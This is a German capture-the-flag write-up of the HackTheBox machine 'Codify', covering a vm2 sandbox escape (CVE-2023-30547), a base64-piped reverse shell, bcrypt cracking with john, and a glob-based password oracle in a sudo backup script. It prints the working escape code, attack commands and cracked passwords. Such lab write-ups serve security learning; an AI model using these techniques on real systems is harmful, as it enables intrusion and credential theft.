// HackTheBox

Codify

CVE-2023-30547 (vm2-Sandbox-Escape, <=3.9.16) → svc → joshua → root

HackTheBoxLeichtLinux 20. Juli 2026 6 Min. Lesezeit

Aufklärung

Ein nmap-Scan lieferte drei Ports:

Port Dienst
22 SSH
80 HTTP (Apache, Weiterleitungen/Spiegelungen)
3000 HTTP (Node.js Express — “Codify”, “Test your Node.js code easily” — ein im Browser laufender, sandboxed JS-Runner, der vm2 verwendet)

Port 3000 ist der interessante: eine Web-App, die vom Benutzer geliefertes JavaScript serverseitig innerhalb einer Sandbox ausführt. Die Seite /limitations listet blockierte Module auf (child_process, fs), was bestätigt, dass die Sandbox auf vm2 aufbaut — einer beliebten Node.js-Bibliothek zum Ausführen von nicht vertrauenswürdigem Code in einem isolierten Kontext. Die Seite /editor nimmt den eingegebenen Code, kodiert ihn base64 und sendet ihn per POST an /run. Eine App, deren gesamter Zweck das Ausführen von angreiferkontrolliertem JS innerhalb von vm2 ist, ist der Faden, an dem man zieht, denn vm2 hat eine Geschichte von Sandbox-Escape-CVEs — ist die Version alt genug, wird aus “Code in der Sandbox ausführen” ein “Code auf dem Host ausführen”.

Erstzugang — CVE-2023-30547 (vm2-Sandbox-Escape, <=3.9.16)

1. Der vm2-Escape

vm2 isoliert Gast-Code, indem es jeden Wert, der die Sandbox-Grenze überschreitet, umhüllt und jede Exception bereinigt, bevor sie den Host-Code erreicht. CVE-2023-30547 ist eine Lücke in dieser Bereinigung: eine getPrototypeOf-Proxy-Trap kann eine Host-Exception werfen, die vm2 nicht bereinigt, sodass ein nicht umhülltes, echtes Host-Error-Objekt in den Gast durchsickert. Von diesem echten Host-Objekt aus kann der Gast zum echten Function-Konstruktor des Hosts hinaufsteigen und von dort das Host-process erreichen — womit die Sandbox vollständig verlassen ist. Der öffentliche PoC (aus dem GitHub-Security-Advisory-Writeup von leesh3288) wird direkt verwendet, wobei execSync einen beliebigen Befehl aufruft:

err = {};
const handler = { getPrototypeOf(target) {
    (function stack(){ new Error().stack; stack(); })();
}};
const proxiedErr = new Proxy(err, handler);
try { throw proxiedErr; }
catch ({constructor: c}) {
    c.constructor('return process')().mainModule.require('child_process').execSync('<cmd>');
}

Die getPrototypeOf-Trap lässt bewusst den Stack überlaufen (stack() ruft sich selbst auf), was den Host zwingt, einen RangeError zu werfen; die unbereinigte Version dieses Fehlers ist das, was der catch-Block einfängt. c.constructor('return process')() rekonstruiert das Host-Function und liefert das echte process-Objekt zurück, dessen mainModule.require genau das child_process-Modul laden kann, das die Sandbox zu blockieren vorgab.

2. Von der Codeausführung zur Reverse-Shell

/run spiegelt den Wert des letzten Ausdrucks als {"output": ...} zurück, daher muss der execSync-Aufruf der letzte Ausdruck sein, damit seine Ausgabe erscheint. id auf diese Weise auszuführen liefert uid=1001(svc) — bestätigt die Codeausführung als Benutzer svc. Das Ersetzen von <cmd> durch eine Reverse-Shell erfordert Sorgfalt: der Befehls-String wird durch ein JS-String-Literal und dann eine Shell gereicht, und ein darin verschachteltes bash -c '...' stapelt Quoting-Schichten, die leicht brechen. Der zuverlässige Trick ist, den Reverse-Shell-Befehl base64 zu kodieren und auf dem Ziel zu dekodieren, was verschachtelte Anführungszeichen vollständig vermeidet:

echo <b64> | base64 -d | bash

Mit einem laufenden nc-Listener landet damit eine Shell als svc.

Rechteausweitung — svc → joshua → root

1. svc → joshua über einen geleakten bcrypt-Hash

svc hat keine user.txt, und das Home-Verzeichnis gehört joshua (das Durchsuchen wird mit „permission denied” verweigert), also liegt die Flag auf einem anderen Konto. Das Durchsuchen des Web-Roots fördert /var/www/contact/tickets.db zutage, eine SQLite-Datenbank — was zum Hinweis der Seite selbst passt, dass ihr “ticketing system is being migrated”. Ihre users-Tabelle enthält einen bcrypt-Hash für joshua. bcrypt ist bewusst langsam, aber ein schwaches Passwort fällt dennoch einer Wortliste zum Opfer; john knackt ihn in etwa 26 Sekunden gegen rockyou.txt und liefert spongebob1:

$ john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

Diese Zugangsdaten funktionieren direkt über SSH, loggen als joshua ein und liefern die User-Flag.

2. Das sudo-Backup-Skript und sein Glob-Orakel

sudo -l als joshua zeigt einen erlaubten Befehl:

(root) /opt/scripts/mysql-backup.sh

Es gibt kein NOPASSWD, das Ausführen benötigt also joshuas Passwort — bereits bekannt. Der relevante Teil des Skripts:

DB_PASS=$(/usr/bin/cat /root/.creds)
read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
if [[ $DB_PASS == $USER_PASS ]]; then ...

Der Fehler ist, dass $USER_PASS auf der rechten Seite von [[ == ]] ohne Anführungszeichen steht. In bash ist eine rechte Seite ohne Anführungszeichen in [[ == ]] kein String-Vergleich — sie wird als Glob-Muster behandelt, das gegen die linke Seite abgeglichen wird. Das hat zwei Konsequenzen. Es ist ein vollständiger Authentifizierungs-Bypass (die Eingabe * allein passt auf jedes DB_PASS), aber weit nützlicher: es ist ein zeichenweises Orakel: die Eingabe <prefix>* gibt nur dann “Password confirmed!” aus, wenn der echte Wert von /root/.creds mit <prefix> beginnt. Indem man jedes mögliche nächste Zeichen durchprobiert und dasjenige behält, das weiterhin passt, lässt sich das gesamte Geheimnis Zeichen für Zeichen wiederherstellen.

Dies ist in exploit/crack_root_pass.rb automatisiert. Es läuft nicht-interaktiv — read -s funktioniert problemlos auf einem gepipten, nicht-tty-stdin, es gibt also keine PTY/termios-Probleme (anders als bei Devvortex’ apport-cli) — und es treibt die Rateversuche über eine SSH-ControlMaster-Verbindung (ssh -O ... -o ControlPersist), sodass jeder Versuch einen gemultiplexten Kanal wiederverwendet, statt einen frischen TCP+Auth-Handshake zu bezahlen (~0,3s pro Versuch gegenüber mehreren Sekunden ohne Multiplexing). Es stellt das vollständige, 22 Zeichen lange Credential in unter einer Minute wieder her: kljh12k3jhaskjh12kjh3.

3. Credential-Wiederverwendung → root

Dieser extrahierte Wert stellt sich als zugleich das Linux-Login-Passwort von root heraus — Credential-Wiederverwendung, konsistent mit dem Rest dieser Box. su root damit lässt direkt in eine Root-Shell fallen, ganz ohne den privilegierten mysqldump-Pfad des Backup-Skripts tatsächlich ausführen zu müssen:

$ su root

Erkenntnisse

  • vm2-Sandbox-Escapes (die CVE-2023-30547 dieser Box und ihre Geschwister CVE-2023-32314/37903 je nach Patch-Stand) sind aus den GitHub Security Advisories der Bibliothek selbst copy-paste-bar — diese direkt prüfen, statt generische “Prototype-Pollution”-artige Payloads zu raten.
  • Eine Payload durch mehrere Quoting-Schichten zu reichen (Shell → base64 → JS-String → wieder Shell für den Reverse-Shell-Befehl) ist mit verschachtelten einfachen Anführungszeichen fragil; den innersten Shell-Befehl base64-zu-kodieren und durch base64 -d | bash zu pipen umgeht das Quote-Escaping vollständig.
  • [[ $a == $b ]] mit einer rechten Seite ohne Anführungszeichen ist in bash ein Glob-Muster-Abgleich, keine String-Gleichheit — dies ist dieselbe zugrunde liegende Fehlerklasse wie Perfections ^/$- Zeilenanker-Problem: eine Sprach-/Shell-Falle rund um implizite Muster-Semantik. Über das bloße Umgehen einer solchen Prüfung hinaus ist es ein praktisches Orakel, um das tatsächlich verglichene Geheimnis Zeichen für Zeichen zu exfiltrieren.
  • SSH ControlMaster/ControlPersist lohnt sich für jede Brute-Force- oder orakelbasierte Extraktion, die viele sequentielle SSH-Round-Trips benötigt — es senkt die Latenz pro Versuch von einem vollständigen Handshake auf das Öffnen eines einzelnen gemultiplexten Kanals.
← Alle Writeups